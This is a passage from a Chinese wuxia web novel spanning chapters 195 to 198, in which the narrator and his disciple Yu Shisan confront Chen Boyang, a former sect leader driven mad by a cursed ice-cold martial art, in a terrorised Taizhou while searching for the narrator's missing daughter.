忽然,我感觉腋下有风,随即怀中一空。几乎是无意识地反应,我伸手将那风捉住,恰好攥住李霄汉的手,而他的手上正攥着我的钱袋子。 “怎,怎么可能?!”李霄汉不敢置信地看着我,说,“你,你竟然能看到我的动作!” 我说:“我看不到,但我可以感觉得到。”我将李霄汉手中的钱袋子夺下,塞回怀里,重新回到自己的座位上。 我刚刚落座,李霄汉竟然跟了过来。我下意识地捂住胸口,谨防再次被盗,只见李霄汉向我郑重抱拳,说:“方才多有得罪,敢问阁下高姓大名?” 我说:“姬旦丙。” 店伙计正在上菜,听我一说,立时喊道:“好嘞。鸡蛋饼一道。” 我愤怒地骂了一句:“滚!” 店伙计一头雾水地走了。李霄汉神情激动,坐在我身旁,道:“原来……你便是江湖上赫赫有名的前武林盟主。江湖上都说你武功非同小可,今日一见,果然是令李某人佩服啊!” 我不知如何回应他,只得对他客气的一笑。 李霄汉丝毫没有离开的意思,他冲我继续说道:“姬大侠你有所不知,我方才所使的那招叫信手拈来,是我们神偷门的独门手艺。在下已将此招练的炉火纯青,自信天下无不可偷到之物,没想到方才竟然让姬大侠你给破了。在下佩服,佩服啊!” 我依旧没有理他。他愈发是这样恭维,我越觉得不自在,便越觉得没话可说。 李霄汉见我也不回应,似乎是觉得尴尬,说了句“打扰了”,回到桌前,自顾自地喝起酒来。 3. 我与余十三经过短暂的休整,皆恢复了许多力气。余十三更加明显,他下马来时走路轻飘,让人觉得他浑身无力,几乎是要散架一般。这时,他步履稳健,走路有风,仿佛是并没有经历过长途跋涉一般。 结了账,我和余十三走出茶铺,正欲上马继续赶路,却听见茶铺之中吵了起来。 “老子偷遍天下,钱财从来都是信手拈来之物,岂会有意差你这三两银子的酒钱?若不是陈元彪那泼贼偷走了老子的钱袋子……早知如此,老子干什么偷他个破手帕,也偷了他的钱袋子就不会有这些麻烦了。”李霄汉嚷道。 我不禁感慨,由此可见,你做了什么并不重要,重要的是你得到了什么。 “大爷你莫要只是嘴说,还请拿出这三两银子来与我,莫要亏了我这小本声音。”老板娘据理力争。 “好,好!你等着!”李霄汉叫嚣着。 “大爷别摸了。奴家知道你手上功夫了得,怎肯把钱放在身上。” “好,好,你再等着。” “大爷别费功夫了。柜台里的钱奴家也命人收走了。” “你……” 我对余十三说:“你等我片刻。”说罢,我走进茶铺,从怀里掏出一锭五两银子放在桌上,对老板娘说:“他的帐,我结了。” 我并没有等到老板娘喜笑颜开,也没有等到李霄汉千恩万谢,便转身离开了茶铺。其实,我并不知道自己为什么要回去。思前想后,觉得只要一个理由解释最为合理——有钱! 第一百九十五章 恶鬼 ()1. 正如茶铺店伙计所说的那样,台州城已是一片人心惶惶。但凡是腿脚尚能走动的,纷纷在计划着逃离。 台州已是一片混乱。我和余十三进入台州城的时候,城门守卫松懈,戍守城门的士兵面带惶恐,神色紧张,偶有几人交头接耳地筹划些什么,身边总也要站着一个放哨的兵丁,即便是放哨看起来也是心不在焉的样子。 我见不远处几人正在商议,便好奇地凑了过去,想要听听他们到底在说些什么。没想到,我刚刚凑到跟前,那几个人发现了我,便互相交换了眼神一哄而散。 所有的人都十分警惕。 我在街面上拉住一个行色匆忙的路人,说:“敢问......”话还未问出口,那人便慌忙摇头摆手道:“我不知道,我什么都不知道。”说罢,他低着头,逃也似地离开。 从接到柳无风的传讯到我们来到台州城的这短短数日见,这里到底发生了什么?我们无从得知。但从所有人的表现来看,这里定然是发生了比柳无风所说的还要严重的事情,否则人们不至于惊慌至此,以至于连官府的人都要紧张兮兮,低声耳语。 余十三并不是那种懂得照顾别人情绪的性格。他见我四处打探不到消息,便一把扯住一个从旁路过的胖子,问:“哪里闹鬼?” 他问得倒是直接,竟将一个本来面色红润的胖子登时吓得面白如纸。他大力甩开余十三的手,也不回答便要离开。怎料余十三三步并作两步冲到他跟前,一把冰冷地匕首抵住那胖子的胸口,用一双比凶残的野兽还要可怖的眼睛盯着那胖子,问:“我问你话,你为何不答我?” 那胖子竟然身子一软,瘫坐在地上,连连求饶:“少侠饶命,少侠饶命啊!” 我看不过去,心想余十三小小年纪,总不能出手便叫人要死要活的,我既然做了他的师父,便有责任教他如何做人处事。我冲余十三喊了一声“住手”。余十三收起刀子,那胖子的脸色丝毫没有好转。我上前宽慰:“你别怕,我只是想打探一下这城里到底发生了什么?为何所有人都神色慌乱?” 那胖子警惕地扫量着四周,或许觉得四下人烟稀少,便小声问道:“你们是外地来的?” 我说:“是。” 那胖子道:“你们快走吧。这台州城如今是要命的地方,留不得。” 我问:“到底发生了什么事?可是因此地闹鬼?” 那胖子刚刚恢复一点的血色登时消散,脸色惨白,低声说道:“大侠小声些,此是台州城大忌,不可大声说出来。” 余十三说:“怕什么。我们就是来捉鬼的。” 那胖子打量了余十三一眼,不屑地说:“就你?括苍派那么多英雄好汉都抵不过,你小小年纪就口出狂言,只怕到时候是怎么死的都未必可知。” 他或许是忘了余十三方才拿匕首抵过他胸口,因此才敢这样嘲笑余十三。接下来,余十三便用他自己的方式,替那 胖子回忆了一下,并加深了他的印象。 胖子一声惨叫。余十三的匕首刺入胖子心口下一寸,刺得很浅,但仍旧有鲜血沁了出来。我慌忙攥住余十三的手,喝道:“为何伤人?” 余十三说:“他嘲笑我。” 我无暇与余十三争辩,直接将他推到一旁,让他与那胖子保持一定的安距离。我站在中间,扶住那嗷嗷直叫的胖子,关切道:“你没事吧?” 那胖子显得很害怕,他央求道:“求你,别杀我,我什么也不知道。” 我冷眼瞥了一下余十三,他面色淡然,对于自己的恶劣行为丝毫没有反思的意思。我转而安慰那胖子,说:“有我在,别怕。”这是我常用来安慰纾瑶的话,如今用在了这个陌生的胖子身上,突然觉得十分怪异。 但这话对那胖子看起来十分奏效,他目光中充满了感激,几乎有泪水夺框。他说:“大侠,能放我走了吗?” 我说:“不行。” 那胖子说:“你们到底要干什么?” 我说:“我只想打探一下关于闹鬼的消息?” 胖子的脸因为难和痛苦扭曲成了一团,他说:“为什么要问我。” 余十三说:“你最好老实回答,除非你想死。”胖子又是一阵紧张。 我瞪了余十三一眼,继续安慰那胖子,说:“别怕。你告诉我,台州城里到底是怎么回事?” 那胖子小心翼翼地看了一眼余十三,又看了看我,一声长叹,面如死灰,说:“好吧。大约是一个月前,台州城周边的几个村子忽然在一夜之间死了很多人,他们都是身体僵硬,面带白霜。据说官府赶到的时候,那些死尸依旧是触手冰冷,犹如是被冻僵了一般。” 我说:“这些我都知道了。后来呢?” 那胖子小声地说:“后来......事情变得越发诡异起来。官府四处搜捕作恶之人,但所有被派出去的衙差无一例外地都变成了冰人,身上没有任何伤口,死相极惨。”说道这里,那胖子咽了一口唾沫,似乎是鼓起来很大的勇气,继续说道:“从此之后,官府的衙差再也没人敢接此差事。正好,台州府的总捕头张德彪与括苍派有些瓜葛,因此便拜帖求括苍派的人出手,帮助官府缉拿凶手。” 括苍派?! 这倒也不算稀奇。台州城距离括苍山很近,台州府就地寻求江湖人的帮助,这也并不算令人感到意外。 只是那胖子接下来的事却让人大感意外,甚至是觉得恐怖。 那胖子说,括苍派数百人齐聚台州城。台州知州很是高兴,为表答谢意,在府衙内大摆宴席,款待括苍派的一众英雄好汉。没想到,括苍派的人在台州府衙内连吃了三天,非但没有出城缉拿凶犯的意思,反而要求台州府衙一干人等尽快搬离台州城。 台州知州大怒,训斥括苍派众人厚颜无耻,背信弃义。但令人没有想到的是,台州府衙内突然遭受一股强烈的冷风侵袭,霎时间 草木枯死,遍地白霜。众人正诧异间,忽然府衙之外一披头散发,两眼发红,面容异常狰狞的怪人冲入了府衙,一挥手之间,台州府衙内去坠冰窟,知州大人与各护卫差役尽皆成了冰人。 从此之后,那怪人便接管了台州府衙。他威逼括苍派及府衙内外官吏就范,要求他们内紧外松,如若无事。但台州城每天都在死人,每天都有人莫名其妙地失踪。所有的人都沉入巨大的恐惧之中,但却没有人敢于反抗。因为那坏人太过厉害,他的本事几乎不像是凡人所有,所以大家都称他是恶鬼。 渐渐地变有人想要逃走,想要离开台州城。但那恶鬼似乎是在台州城布下了无数只眼睛一般,只要有人逃出,台州城,他便会突然出现将逃跑之人冻成冰人。 胖子叹息道:“大侠,这台州城可是进来容易,出去艰难的地方,你们是来错了地方了。” “没错!”我激动难耐。胖子一脸茫然,问:“没错?我话已至此,你竟然还觉得没错?” 没错。我更加确信,那就是摩诃钵特摩咒。而我手中丢失的那本秘籍,应当是仅存于世的孤本。找到那胖子口中所说的“恶鬼”便一定可以查出纾瑶的下落。 只是,我心中产生一种强烈的不安。从那胖子口中得知,那人修炼摩诃钵特摩咒几乎已经到了令人发指的地步,若纾瑶在他手中岂不是…… 不!不会的! 我急忙打断自己的胡思乱想。纾瑶一定会平安无事的,她一定会平安地回到我身边。 我对余十三说:“我们去台州府衙。” “你们疯了?!”那胖子低声吼道,他说,“你可知道那恶……那人就在台州府衙之中,你去台州府岂不是自寻死路?!” 我没有理会,带着余十三便向着台州府衙的方向奔去。 2. 台州城并算不得大,比起临安,它的确如弹丸之地。但它却又很大,巷陌纵横交错,地形十分复杂。 路上行人纷纷避而不谈。即使是面对余十三的死亡威胁,也没有一人肯告诉我台州府衙的具体位置。 我又不能真的叫余十三杀了他们。 正一筹莫展之际,我突然看到巷子尽头有一道人影一晃而过。 虽然是一晃之间,但我依旧感觉那宽厚壮硕的身影让我倍感熟悉。 我带着余十三追了上去。追过一条小巷,那人影似乎是发觉了我的跟踪,竟在巷尾停了下来。 我不知是敌是友,慌忙隐匿起来。 “什么人鬼鬼祟祟,何不出来叫人看个明白。”声音粗壮有力,中气十足。 我已听出了他是谁,正考虑着要不要现身与他相见。却又听他如狮子吼一般叫道:“快快现身出来!” 声音尤为震彻,就连身后的墙上都被震落了许多灰土。 我摇头苦笑,缓缓走了出去,拱手道:“周大哥,别来无恙!” 第一百九十六章 邪功 ()1. 别来无恙。 这是时隔五年之后我对周望安的第一声问候。与他对面的那一刻,我的心里仍旧忐忑,当年的旧事不知他是否仍旧介怀。 周望安怔怔地看了我半晌,在他的眼神中我看不到故友重逢的喜悦,而是有一种呆滞、恍惚甚至是惊讶。 “是......你?”周望安说,“你怎么会在这里?” 我说:“我来找我的女儿。” “你的女儿?”周望安一阵诧异,他忽地摇头笑了,“多年不见,想不到你竟然都有了女儿。你女儿呢?” 我说:“她失踪了,我来查探她的消息。” 周望安眉头一皱,似乎是想到了什么,他说:“可是与台州城里出现的那魔头有关?” 我说:“是。我怀疑他掳走了我的女儿。” 周望安又问:“你知道他是谁?” 我说:“我并不知道。” 周望安眉头一皱:“那你因何断定是他掳走了你的女儿。” 我深吸了一口气,说:“因为他的武功。” “武功?”周望安道,“他练得是什么邪门武功?你认得?” 我当然认得。我说:“是摩诃钵特摩咒。” “摩诃钵特摩咒?”周望安满脸费解。 我解释道:“就是少林秘籍金刚伏魔功。” “这不可能!”周望安说,“少林自古乃是名门正派,更是北派武林之首,少林金刚伏魔功乃是少林寺镇派之宝,怎能是那邪门武功可以相提并论?!” 我说:“这都是真的,我曾亲眼见过......” “你不用说了。”周望安背过身去,“当年管天下一事之后你匿迹江湖,我本以为你是决意痛改前非,没想到你再出江湖仍旧是胡言乱语,竟然诽谤少林派。” “我没有!”我极力解释,“少林派金刚伏魔功不是真正的金刚伏魔功,当年天竺来的沽烨法师送金刚伏魔功来大宋,却意外拿错了书册,将一本至阴至邪的武功摩诃钵特摩咒带了过来。这本秘籍虽然藏在少林寺之中,却从来都没有人修炼过,因为修炼了这种武功的人部都疯了。这是少林寺的绝密,所以没有人知道。” “既然如此,你是如何得知?”周望安仍旧不肯相信我。 被人怀疑的感觉是十分痛苦的,我不想忍受这种痛苦,便将夏尔马来大宋寻找摩诃钵特摩咒以及那本秘籍又是如何落到我的手中最终被人偷窃的经过,一五一十地告诉了周望安。 周望安听了以后,脸上的怀疑非但没有减少,反而是更重了。他说:“听得倒是十分精彩,却漏洞百出。” 我急道:“哪里有漏洞?!” 周望安冷哼一声,说:“这世间怎么会有你描述的那种长得黑脸白牙的人?!” 我愣了。这世间的确是存在一个黑脸白牙的夏尔马,只是他已经化为骸骨,我无法证明。我说:“这不重要,重要的是摩诃钵特摩咒很厉害。” 周望安说:“这当然重要。倘若你口中的夏尔马大师都是你编造出来的,那这整件事便更不可信。” 对于周望安的思路,我深感无力。我选择放弃,因为他信与不信对我而言毫无损益。我说:“既然你不信那便算了吧。总之,我只是为了寻找我的女儿,其他的事我顾不过来。” 周望安向我发出警告:“无论你是何目的,又因何出现在台州城,若你敢做有损于江湖武林的事,我周某人定然不会绕过你。” 我满心怅然,说:“我们曾经是朋友。” 周望安却说:“你说过了,那是曾经。” 2. 周望安走了。 这条巷子里陷入了令人发冷的沉寂。日色渐沉,我感觉一股阴风穿巷而过,台州城如一座死城一般,令人毛骨悚然地恐惧。 余十三问我:“你有何打算?” 我说:“继续找台州府衙。” 走出巷子,街面上已经空空荡荡。一阵冷冷的风扫过,发出鬼泣一般地“沙沙”声。几片落叶卷着砂砾在地面上翻滚,飘过我脚边时,被我一脚踩在地上,发出“嘎吱”一声脆响。 枯叶。 八月初的天气,夜间虽有几分凉意,但这树叶又岂会干枯至此? 我低下头去看,眼前的景象登时令我浑身寒毛直立,一股强烈的恐惧从脚心直冲心肺,让我几乎窒息。 一层浅浅的白霜从地面上缓缓地向我蔓延,就像是千万只白色的蚂蚁,伏在地面上正向我慢慢地爬行。 我顺着那白霜来的方向看去,一抬头,却看见周望安宽厚的背影正踩在一层密实的冰霜之上瑟瑟发抖。 而站在周望安不远处的一道黑影,披头散发,发着阴森恐怖的笑声。那片垂下的发丝之间,隐约可以看见一双猩红如血的眼睛,犹如是地狱里爬出的恶鬼一般,其恐怖的模样足以击穿所有强大的内心。 周望安在颤抖着。或许,他根本无法想象时间竟然会有这样恐怖的人出现在他的面前。又或许,他根本就不能确认站在他眼前的到底是人还是鬼。 但我知道。他是人,他绝对是活生生的人,是一个修炼了摩诃钵特摩咒的人。 周望安缓缓地退了回来,他退到了我身边,一双充满恐惧地眼睛死死地盯着眼前的那个“恶鬼”。他颤声地说:“这,这到底是什么东西。” 在我所有的印象中,周望安从来都是一个铁骨铮铮的汉子,与他经历的所有过往里,我从来没有见过周望安面对任何事露出过一丝一毫的胆怯。 周望安是真的害怕了。但我却别一股强烈的怒火点燃了,我感觉自己的整个胸腔都在燃烧,燃烧着灼热的愤怒的火焰,抵挡着一切阴寒和恐惧。我大声吼道:“我女儿在哪里?!” “嘿嘿嘿嘿......” 对面传来一串令人毛骨悚然的笑声。他披头散发的“恶鬼”缓步向我靠近:“原来是你!嘿嘿......” 他认得我!他既然认得我!那 我也一定应当认得他! 他到底是谁? “嗖!” 忽然,周望安从怀里掏出一支火箭,将一道闪亮的影子打响了空中,哨箭空中炸响,迸发出一片耀眼的光芒。 那“恶鬼”抬起了头,他看向空中的瞬间,露出了一张令我无比震惊的脸。 陈——伯——洋! 是他!他竟然没有死!是他偷走了摩诃钵特摩咒,是他掳走了纾瑶! 很快,我被一股强烈地愤怒吞噬了。想到我曾经不计前嫌地救他,想到我不遗余力地帮他,想到这数月来我经历的所有,想到含恨而死的小月,想到如今家破人亡的我...... 我再也无法忍受,顺手拔出了剑。红光闪耀,与陈伯洋猩红如血的眼睛呼应着,那是我的愤怒,我再也不能抑制的杀人的**! 我用尽力,以最快地速度向陈伯洋的胸腔刺出一剑。 然而,我却低估了陈伯洋,忘记了摩诃钵特摩咒的可怕。陈伯洋丝毫没有闪躲的意思,他那双凝着鲜血的眼睛盯着红光闪动的血芒剑,只一挥手剑,一股凛冽刺骨的寒风便在他手掌之间发出。 “轰!” 我感觉一股阴冷的气流顺着血芒剑急速地流淌,瞬息间将我身包裹。血芒剑、我的手臂、我的身躯,触目间尽是一层厚厚的冰霜。 随即,一双不满血丝的手从陈伯洋的袖袍中飞出,重重地击在我的胸口。我感觉自己如深秋的落叶一般,随着那股阴冷的风飘了回去,重重地摔在地上。 如此沉重的一掌,我已经我的内息会一片混乱,我的血液会如浪涛一样翻腾,随即血就会从我嘴里不可抑制地喷出来。但是,我只感觉到深入骨髓的阴寒,令我浑身上下每一块骨头,每一寸肌肤都如锥刺一般地疼痛,却没有一丝的血液从身体的任何地方沁出。 因为,冻僵了的血,是不会流淌的。 “不自量力。”陈伯洋狞笑着,“你以为你还是我的对手吗?” 我咬着牙,强忍着痛苦,问他:“我女儿在哪里?我女儿在哪里?!” 陈伯洋并没有回答我。就在周望安发出哨箭之后,早已在台州城内搜索的各路江湖人如潮水一般地涌了过来。 然而,当他们看到陈伯洋的那一刻,所有人的眼睛里都充满了恐惧。有的人开始后退,有的人甚至已经调头逃跑了。 “陈,陈掌门!你,你这是......”司徒清尘手提长枪惊愕地看着陈伯洋。 陈伯洋却丝毫没有理会他的意思,他嘴里发出“嘿嘿”的笑声,一股阴寒的气息从他的身体之中向外扩散,几乎蔓延了整个台州城。 遍地霜白,令所有人胆寒却步。 余十三将我搀扶起来,站起来的过程极其痛苦,我感觉身上所有的骨头都已经如冰一样的脆,稍一用力就要碎裂一样。 我甩开余十三的手,血芒剑上血影流动,我一步一步地迈向陈伯洋,一字一字地问他:“告诉我,我女儿到底在哪里?!” 第一百九十七章 疯子 ()陈伯洋阴嗖嗖的笑容让我十分厌恶。他已经变成了我完不认识的模样。从前,即便是他虚伪,心思深沉让人难以捉摸。但总得来说还算正常。 可是这个时候,我眼前的陈伯洋却完完变成了另外一个模样。似人非人,似疯非疯,张口说话间便是一种藐视一切的狂妄。 他冲着众人咆哮着:“你们这群杂碎,都是来送死的吗?嘿嘿……” 没有一个人敢上前一步。除了我! 我说:“把女儿还给我。” “你烦不烦?!”陈伯洋露出一副怪异的表情,“想见你女儿?去阴曹地府见吧!” 我心中一片冰冷。我说:“你把她怎么样了?” “啊哈哈……”陈伯洋像疯子一样的狞笑着,“我,我杀!啊哈哈哈哈……” 我杀! 这两个字像带着剧毒的钉子一样狠狠地钉进了我心窝! 纾瑶!我的纾瑶!是我来的太晚了! 眼前的景色开始模糊,我浑身冰冷,唯独眼眶中的泪水却还尚存着一丝可怜的温度。 那是为纾瑶而流下的眼泪! 我紧紧攥住血芒剑。世间的一切以变得越来越模糊,泪水盈眶让我看不清周围人的表情,甚至分不清他们的模样。 但我却清楚地看到一个人,这个人我一定要清楚地看着他,我要看着他痛苦地死在我面前。 血芒剑感受到我内心的愤怒,它爆发出从未有过的野兽一般的咆哮。我挥出的每一剑都带着不可阻挡的剑气。我自信,那剑气可以劈开最坚硬的岩石。可那些剑气却怎么也劈不开陈伯洋护在胸前的那双手臂。 他的手臂就像是坚不可摧的铁盾,任凭我使出多大的力气都不能撼动它分毫。 陈伯洋开始肆虐地笑。他的笑让我血脉上涌,发疯一样地想陈伯洋一顿乱砍。 血芒剑,血芒剑! 你不是一把邪剑吗?你不是锐不可当的利器吗?可为什么你却杀不死我的仇人?! 而我的仇人,他却在受了无数剑之后毫发无损地站在我面前,并向我连发出阴寒刺骨的两掌。 我听到了自己胸腔里骨骼断裂的声音,但我却感觉不到痛苦。 没有什么痛苦可以超越失去女儿的心痛。 即便是我被陈伯洋狠狠地按在地上。他那双如玄冰一样冷的手,牢牢地掐住我的咽喉。 “哈哈……”陈伯洋的笑声在我耳边回荡着。 泪水一直都没有停过,即使它们流出眼眶的瞬间就已经变成了一颗颗的冰晶,但仍旧有泪源源不断地流出来。 我不是陈伯洋的对手,我一定会死在陈伯洋的手中。其实我早就应该想到会有这样的结局。 这样的结局也很好,至少我们一家人很快就可以在阴曹地府中团聚。既然人世间没有容我们安宁的天涯海角,那我便到阴间去寻觅吧。 可这样的结局却又让我不甘心。即使到死,我都不能亲手杀死陈伯洋。 “嗯?!” 突然,陈伯洋发出一丝疑惑的声音。他掐在我脖子上的手卸去了力气,转头向后看去。 是余十三!他正用他那双如同是野兽一般凶狠地眼睛瞪着陈伯洋,而他手中的匕首已经深深地刺入了陈伯洋 的后腰。 陈伯洋的脸上没有痛苦。我反而看到他流露出一丝兴奋,他抓住余十三的手,说:“小娃娃!你胆量不小啊!嘿嘿……” 余十三的手开始凝起白霜,那层白霜正沿着余十三的手臂迅速地向上蔓延。 “啊,啊……” 余十三忍不住叫了起来。可想那是一种怎样的痛苦,才能让坚韧的余十三发出如此凄厉地叫声。 “放开他!放开他!”我用尽身力气向陈伯洋咆哮。 陈伯洋却疯狂地笑着,时不时穿插几声如狼嚎一般地叫声。 就是这样的情况下,周围的江湖武林英雄好汉……所有的人,纹丝不动地看着。就这样看着我和余十三,我们师徒二人被陈伯洋残忍地折磨着。 仿佛这一切都与他们无关。就好像他们不过是匆匆的过客,偶然经过时看到了一场好戏,因而驻足观望。 “铮!” 白霜快要蔓延到余十三肩头时,我忽然听见龙吟一般地铮响。 淡淡地青光划过,却挥洒出一片鲜红的血。 余十三斩断了自己的手臂! “不!不要!”我心疼地看着那个倔强的少年,他手上的青光剑上还残留着他的血。 是我害了他!我不该带他来这里。我明知道摩诃钵特摩咒是怎样的凶险,可我为什么要带他来这里? “我,我不欠了,对不对?”余十三的嘴角上却扬起了笑容。 余十三!余十三! 你可以像那些人一样站在一旁静静地观望,你甚至可以转身离开,逃离着危险的地方。 可你为什么要捅他那一刀?难道你真的不知道眼前的这个“恶鬼”是会要你性命的吗? 余十三的笑容告诉我,他不后悔。 他不后悔。 那根被余十三斩断的手臂在地上已经被密室的白霜覆盖,唯有断口处凝结了一层殷红的血冰。 那是余十三的手臂,它却被陈伯洋踩在了脚下。陈伯洋像疯子一样在那手臂上狠狠地踩了两脚,对余十三得意地笑着:“你再来杀我呀!来呀!来呀!” 忽然陈伯洋转身向我,他抬起手掌向我的头颅猛地劈了下来。 “当” 就在我准备接受死亡的时候,却又一柄剑从我头顶之上飞了过去,撞在了陈伯洋如铁一般的手臂上,将他逼退几步。 “虎牙剑?周望安!”陈伯洋猩红的双眼中闪烁着愤怒。 “适可而止吧!陈掌门!”周望安似乎是终于克服了恐惧,他一跃挡在我身前,凛然说道,“我不知你因何会变成这番模样,但滥杀无辜非江湖正道所为,还望你迷途知返,趁早收手!” “嘿嘿嘿嘿……”陈伯洋阴森森地笑着,他说,“江湖正道?!哈哈哈哈……可笑,可笑!如今的江湖都是一帮朝廷的走狗,还有什么正道可言?!当日我不愿依附朝廷,易小心将我打落山崖,害我武功尽失,如今我炼成金刚伏魔功,一掌可杀数百人,一人可抵千万军,天下如我囊中,至尊舍我其谁?!哈哈哈哈……” 所有人的目光齐刷刷地投向了站在角落里的青云派。一身白衣的青云派弟子,圣洁如雪,或许是无力辩驳,又或许是不敢反驳,他们纷纷地下了头,没有人敢站出来说一句话。 “易小心!易小心呢?!”陈伯洋再度陷入疯狂,他冲着青云派弟子咆哮着,“叫那个奸贼出来见我!我要杀!我要杀!” 周望安缓缓退到我身旁,将我搀扶起来,小声说:“你没事吧?!” 我摇了摇头,拼劲身力气走到余十三身边。他面色惨白,即使在这样让人不住发冷的空气中,他额头的汗依旧如豆般地向下滚着。 “何苦。你何苦呢?”看着余十三残缺的手臂,我心如刀绞。 余十三却又笑了,他说:“我娘说过,不能欠别人的恩情。” 这时陈伯洋浑身颤抖着,他似乎已经彻底陷入了疯狂。他冲着青云派的弟子一遍一遍地喊着易小心的名字。 但易小心的身影却始终没有出现。 忽然,陈伯洋仰起头,发出如困兽一般的嚎叫。我听得出那叫声之中带着极度地痛苦。 他练功已深,只怕是要彻底地疯了。只可惜这里再也没有夏尔马,再也没有人可以帮他拜托痛苦。 陈伯洋身子一晃,他如是一股凛冽的风吹进了一片洁白的青云派阵中。 一时间凄惨的叫声划破了黑夜,就如同是把这个夜晚拖进了炼狱。 青云派的弟子来不及逃窜,就已经被一道红火包裹着。周围尽是霜白,就像是青云派弟子身上的衣裳一样的白。 没有人看见一丝血光,但所有的白衣却接连倒在了地上。或许,还没有人来得及害怕,青云派数十名弟子竟已经变成了一片冰冷的死尸! “啊!” 终于,一个临近青云派的别派弟子再也忍受不住这样的恐惧,爆发出一声尖叫,调头向巷子中跑去。 但是,他不过是跑出来几步,突见他周身红光一闪而过,竟轰然倒地,成了一具冰尸。 “想跑?嘿嘿嘿嘿……敢跑的人统统都要死!”陈伯洋发疯一样地笑着。 这个夜晚已经到了恐怖的极点。所有的人都已面如死灰,他们也许都已经感觉到了,这个夜晚,在这台州城里,真的没有一个人可以活着离开。 “师父!” 突然,人群里冲出一个人影,他跑到陈伯洋跟前,噗通一声跪在地上。 是陈有风。他双目含泪,不顾一切地抱住陈伯洋的双膝。冰冷的气息,让陈有风的眉毛上凝起白霜,嘴唇由红变紫。 但陈有风似乎是浑然不觉,他死死地抱着陈伯洋,说:“收手吧师父,不要再杀人了,不要在杀人了。” “啊?”陈伯洋目光竟然柔和了许多,他看着陈有风,眼中竟然充满了费解,“你,你不想让为师杀人?可是这些人却要杀了你的师父!” “不!”陈有风大声喊道,“不会的师父,只要你肯收手,徒儿就是拼尽性命也要护你周!” “啊!”陈伯洋满脸疯像,竟如痴傻一般,他说,“你是说,若为师不肯收手,你便不会护我周?” “不,不……”陈有风极力地摇头,他重重地磕头,对着陈伯洋央求道,“师父!那秘籍定然不是少林金刚伏魔功,它害你太深,求师父快弃了它,不要再练了!” 陈伯洋的手缓缓地伸到了怀中,他抽出了一本包着黄色绢布的书册。而那书册对我来说再熟悉不过,那正是夏尔马亲手交给我的摩诃钵特摩咒! 第一百九十八章 月光 ()1. 摩诃钵特摩,此云大红莲华,严寒逼切,身变折裂如大红莲华。 这是摩诃钵特摩咒总纲里的一段话。也是我唯一看到过的一段。从这句话之后,我便再也没有看过那本秘籍里的任何内容。 我不明白这段话到底是什么意思。总感觉是,一个人练成了摩诃钵特摩咒,就会变成一朵盛开的大红莲花。 很显然,陈伯洋的身体距离既不发红,也不像莲花。所以,我猜测,之所以他还能够在陈有风的苦苦哀求中保持理智,是因为他还没有真的连成摩诃钵特摩咒。 若真的是这样,那摩诃钵特摩咒便更加恐怖。没有完练成就已经到了无人可以匹敌的地步,若真的被他练成了......我不敢想象那是一种怎么样的结局。 但有一点是可以肯定的,若真的到了那个时候,我此生恐怕再也不能为小月和纾瑶报仇。 所以,我一定要将摩诃钵特摩咒抢回来! 做一个决定很容易,但若真的把它变成现实,有的时候的确比登天还要难。尤其是这个时候,我挨了陈伯洋三掌,身受重伤,每一寸的骨骼都迸发着碎裂一般的疼痛。 但陈有风却做了一件我意想不到的事。他缓缓地将手伸向了那本摩诃钵特摩咒,一点一点地接近。陈伯洋似乎在挣扎,他的手死死地攥着书册,停滞在空中,微微地颤抖着,想要放手,却又不肯或者不愿放手。 终于,经过了漫长的移动,陈有风的手触摸到了书册外那层黄色的书册。也就是在那一刻,陈伯洋刚刚略显柔和的脸上瞬时恢复了那种狰狞可怖的样子。 “逆徒,你休想!” 红色的眼眸几乎快要流出血来,陈伯洋大叫一声,手掌一挥,一道极寒的气息猛地从他袖袍中发出。陈有风脸色骤变,想要躲避已然是来不及了。他的身躯发出枯枝折断一样的“咔咔”声,整个人被打得倒飞出去,重重地摔在了地上,周身被一层浅浅的白色雾气笼罩着。等雾气散去,我看清楚他模样的时候,他已经是一具结满冰霜的死尸。 到最后一刻,或许陈有风不会想到,自己至亲的师父会对他痛下杀手。所以他的表情中,看不到任何的怨恨或者恐怖,只是诧异。 “谁也别想阻止我!”陈伯洋又开始发疯,他阴冷地目光扫过所有的人,他说,“即日起,我就是武林至尊,你们都要听我的,听我的!” 陈伯洋开始扬天狂笑。也许周望安以为,陈伯洋陷入疯狂的时候,他可以把握时机,在瞬息之间将陈伯洋制服甚至是杀死。所以,周望安平端剑刃,以掌力推击剑柄。虎牙剑如一道光划过,带着一片肃杀的气息冲向了陈伯洋。 “当!” 事与愿违,虎牙剑连接近陈伯洋的机会都没有。陈伯洋只一挥手间,他便已将虎牙剑打落。他阴嗖嗖地盯着周望安。周望安被他看得打了几个冷颤,连忙后退了几步。 的确,这世间少有人能在面 对如此恐怖的场面保持镇定。除非,有人能像我一样,对眼前的这个疯子怀有刻骨地仇恨。 内息稍定。我决定从后方偷袭,以十一式剑招里一招平剑偷袭的招式击穿陈伯洋的防御。血芒剑应声呼啸,陆家的轻功为基,我的动作快得几乎可以躲过鬼神的眼睛。 然而,我却躲不过陈伯洋的一掌。我竟然丝毫看不见他的动作,我只感觉眼前有红光一闪而过,随即胸口处便再度遭受重击。那种让人无法忍受的极寒气息如洪水漫灌一般充斥了身。 我再度被陈伯洋打倒在地。当我强忍着疼痛站起来的时候,陈伯洋竟然十分惊讶,他说:“你竟然还能活着?竟然还能站起来?!” 我说:“除非你死,否则我一定不会倒下。” “那好啊!”陈伯洋阴笑着,“我倒要看看还能受得住几掌?!”他抬起手便要向我冲来。就在这时,忽然一阵强劲的风从不明地方向扑来过来。 这股疾风与陈伯洋无关,它是这个黑夜里天然的馈赠。它吹走了天上遮蔽明月的乌云,将一抹清亮的月光带到了人间。 陈伯洋脸色骤变。他抬头望着皓月,开始瑟瑟抖动,显得十分畏惧。 “啊!”陈伯洋忽然大叫,“冷!好冷!好冷!”他脸上呈现青紫之色,交错变幻,皮肤竟然开始皴裂,露出骇然的血色。 虽然,人们并不知道发生了什么,但大概所有的人都能看得出,陈伯洋陷入了痛苦之中。他已自顾不暇,此时正是一拥而上对他出手的绝佳时机。 正在众人由惊讶转为惊喜的时候,人群中忽然冲出一队人将陈伯洋紧紧地护了起来。 他们当然是括苍派的人。 为首者正是括苍派长老程文轩。他手上攥着的是陈伯洋的得意兵刃——金丝海皮刀,眼中闪烁着的是对陈伯洋的愚忠。 “谁敢上前一步,休怪老夫刀下无情!”程文轩厉声喝道。 2. 